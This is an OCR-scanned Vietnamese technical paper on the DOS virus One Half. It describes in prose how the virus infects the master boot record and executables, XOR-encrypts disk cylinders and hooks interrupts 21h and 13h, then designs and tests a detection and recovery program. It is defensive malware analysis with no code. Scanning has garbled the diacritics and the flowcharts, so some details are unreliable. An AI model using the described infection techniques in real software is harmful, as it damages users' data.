- One Half 1a mot virus ludng tinh (vira 1a B-virus vua la F-
virus). Kich thuéc cua virus One Half 1a 3544 byte.

1. B-virus One Half.

- B-virus One Half luu tra trén vung cdc Sector dau mat cua
dia cing (Side 0, Cylinder 0, 7 sector cuoi).
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- Khi mdy tinh khéi dong bang dia cing da bi nhiém virus
One Half, phan ma clia n6 s& duoc tai vao 9F00h:0000h (vung bo
nhé co s cao nhat), khong cho phép DOS quan 1y ving nhé nay
bing cach trir gid tri bién luu trit tong s6 ving nhd co s tinh theo
KB (tai 0:413h) di 4 (KB). Sau khi tai xong, phan ma nay sé duoc
trao quyén diéu khién.

- Phan ma virus thuc hién hai cong viéc chinh sau day:

+ M3 hoa 2 Cylinder trén dia cung. Gia tri cua Cylinder cudi
cung dugc ma hoa s€ dugc ghi vao word 29h trong Master Boot va
gia tri nay la can ctt cho 1an ma tiép theo. Phép toan ma hod duoc
sit dung la phép toan XOR, todn hang ma hod la gia tri cua bién
dém thoi gian tai thoi diém lay nhiém.

+ Chi€m hai ngat 21h va 13h. Viéc can thiép td6i cdc ngat nay
gitp virus One Half 1ay nhiém trén cac file kha thi khi s&t dung
cdc chiic nang cta ngat 21h, cling nhu viéc chiém ngat 13h gidp
hé théng van lam viéc binh thudng trén cac ving da bi ma ho4,
trong trudng hop trén ving cdc sector ddu mat, viéc chi phoi ngat
13h con nguy trang chong lai kha nang phat hién su cé mat cua B-
virus One Half.

2. F-virus One Half.

Doi v6i virus One Half, cac file kha thi chi 12 doi tuong dé
virus lay lan. Khi virus nhiém vao file, toan bo phan ma cta virus
sau khi dd dugc ma hod (bang phép toan XOR, gi4 tri cla todn
hang ma hod 1a gid tri clia bién dém thoi gian tai thoi diém lay
nhiém) dugc thém vao cudi file. Mot s6 doan ma nhé dugc thay
thé¢ trong file doi tugng d€ 1am nhiém vu gidi ma phdn ma cua
virus One Half.
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Khi thuc hién file kha thi (dd bi nhiém) bang chiic nang 4Bh
ctia DOS, phan ma cua virus One Half sé duoc giai ma, sau do6 sé
duoc trao quyén diéu khién. Phan ma nay s& kiém tra Partition trén
dia cling xem da bi nhiém chua, néu chua bi lay nhiém s€ tién hanh
lay nhiém trén dia cing, sau d6 sé tra lai cho file d6i tugng céc
doan ma da bi virus One Half thay thé va tra lai quyén diéu khién
cho file doi twong mot cach binh thuong.

II. SO SANH VOI MOT SO VIRUS HIEN NAY VA MOT SO
NHAN XET VE CAC CHUONG TRINH CHONG VIRUS
XU LY POI VOI VIRUS ONE HALF.

One Half 1a mot virus néu mdy tinh bi nhiém thi khé khoi
phuc hé thong vi mot so 1y do sau day:

- La virus ludng tinh, vira 1a B-virus, vira la F-virus. Phan
nhiéu cdc virus xudt hién tir truéc dén nay chi don tinh, nghia la
chi 1a B-virus hodac chi 1a F-virus.

- Céach pha hoai ctia One Half 1a ma hoa thong tin trén dia,
cho nén viéc khoi phuc hé thong tré nén khé khan, khong chi 1a
tra lai bang Master Boot ban dau vao vi tri cia nd, ma con phai cé
trach nhiém giai ma cac phan da bi One Half ma hoa.

- Viéc khoi phuc file kha thi bi nhiém One Half ciing gap
phai cac kho khan, truge hét 1a phan ma cua virus ghép vao file da
bi ma hod, hon nita One Half khong chi ghép phan ma cua minh
vao cudi file ma con chén mot s6 doan ma nho vao gitia file doi
tuong, cac doan ma nay khong c6 dinh va vi tri cua né trong file
d6i tugng ciing bi thay doi. Vi thé néu can ¢t vé mat hinh thic thi
khé c6 thé khoi phuc dugc file bi 1ay nhiém.

Chinh vi cac kho khan dé, cac chuong trinh chong virus hién
nay trén thi trudng chua khoi phuc mot cach triét d€ doi véi virus
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One Half. Vi du, FPROT chi khoi phuc file kha thi bi 1ay nhiém,
con SCAN230 thi khuyén rang hay luu trit dit liéu trude khi khoi
phuc B-virus One Half, vi SCAN khong giai ma phan dia cing da
bi One Half ma hoa.

II1I. THIET KE CHUONG TRINH CHONG VIRUS VA
KHOI PHUC HE THONG.

Mot chuong trinh phat hién virus va khoi phuc hé théng bao
gom 3 modul chinh:

- Kiém tra bo nhé trong.
- Kiém tra Master Boot va Boot Sector.
- Kiém tra file.

Chuong trinh phat hién virus va khoi phuc hé thong trong do
an tap trung chu yéu vao virus One Half, song dugc thiét k€ md
dé c6 thé phat hién va khoi phuc cédc loai virus thong thudng khac
ma khong phai stra lai ma cia chuong trinh. Cu thé 1a chuong
trinh dua ra cdc cdu tric d€ luu trit cdc dic diém nhan dang cla
virus, thong tin cua cac cau tric nay duogc luu trit trén file. Nhu
vay, sau khi mot virus dugc khao sét, néu cac dac diém nhan dang
cua n6é duoc cap nhat trong file dit liéu thi chuong trinh hoan toan
c6 thé phat hién va khoi phuc hé théng doi véi loai virus dé.
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1. Kiém tra bé nhd trong.

found virus

Fest VMEM.DAFF

not founi

abort

A 4

Abort

|

not OK

Tdst Size Mem & Int2lth

.

"I[Warning, choos¢

|

continue

A

Continue

File VMEM.DAT luu trit thong
nhd. N6 str dung cdu tric sau:

4 byte : Dia chi doan ma

tin nhan dang virus trong bd

nhan biét virus trong bd nhé

1 byte : So6 lugng byte trong doan ma nhan biét

10 byte: Ma nhan biét

10 byte: Tén cua virus.
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2. Kiém tra Master Boot va Boot Sector.

D6i chiéu MB can kiém t1

a OK

) véi MB chuén

not OK

P6i chi€u MB can kiém ti

Continue

aKhong phat hién

v6i ma nhan biét VR

trong VMb.DAT

Phit hién

Hoi: d&¢ MB chuin

Giai ma dir liéu trén dia

(n€u VR ma hod)

|

Khoi phuc MB ci

!

A

< v

{k
>

Yes

P& MB chuin
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File VMB.DAT luu trt thong tin nhan dang virus trong
Master Boot trén dia. N6 stir dung céu tric sau:

2 byte : Dia chi offset cia doan ma nhan biét virus
trong Master Boot.

1 byte : S6 luong byte trong doan ma nhan biét
10 byte  : Ma nhan biét
3 byte : Noi cat giau Master Boot cii cua dia

10 byte  : Tén ctia virus.

3. Kiém tra file.

hét
Search file End

».
L
A

o

/16 file (doc-ghi

Khongbi
nhiém Kiém tra

bi nhiérrl

N—"
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A

Khoi phuc file

File VMEM.DAT luu trit thong tin nhan dang virus trong b0
nhd. N6 str dung cdu tric sau:

2 byte : Kich thudc cua virus

4 byte : Vi tri cua doan ma nhan biét trén file doi
tuong

1 byte : S6 luong byte trong doan ma nhan biét
10 byte  : Ma nhan biét

10 byte  : Tén cua virus.
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IV. CAC KET QUA THU NGHIEM CHUONG TRINH.

Chuong trinh da dugc ki€m tra trén cdc mdy tinh cé ciu hinh
khéc nhau, trén céc 6 dia ciing ¢ cdc thong so khac nhau. Sau khi
may tinh bi nhiém, chuong trinh da phat hién dugc su c6 mat clia
virus One Half trong Master Boot va da khoi phuc hé thong tr¢ lai
nhu ban dau truéc khi bi virus One Half lay nhiém. C6 mot so
truong hop thuc t&€ virus One Half 1ay nhiém da kha lau, s6 luong
Cylinder bi One Half ma hoa kha 16n (gan 400 Cylinder), chuong
trinh ciing da khoi phuc thanh cong dé hé théng mdy hoat dong
trd lai nhu binh thuong.

Dai véi cac file bi lay nhiém virus One Half, chuong trinh da
phat hién va khoi phuc hoan chinh lai nhu ban dau. ba thu
nghiém chuong trinh trén cic file COMMAND.COM,
FORMAT.COM, SK.COM, DEBUG.EXE.,... da bi lay nhiém One
Half thi chuong trinh da khoi phuc ching tré lai nhu trang thai
binh thuong ban dau.
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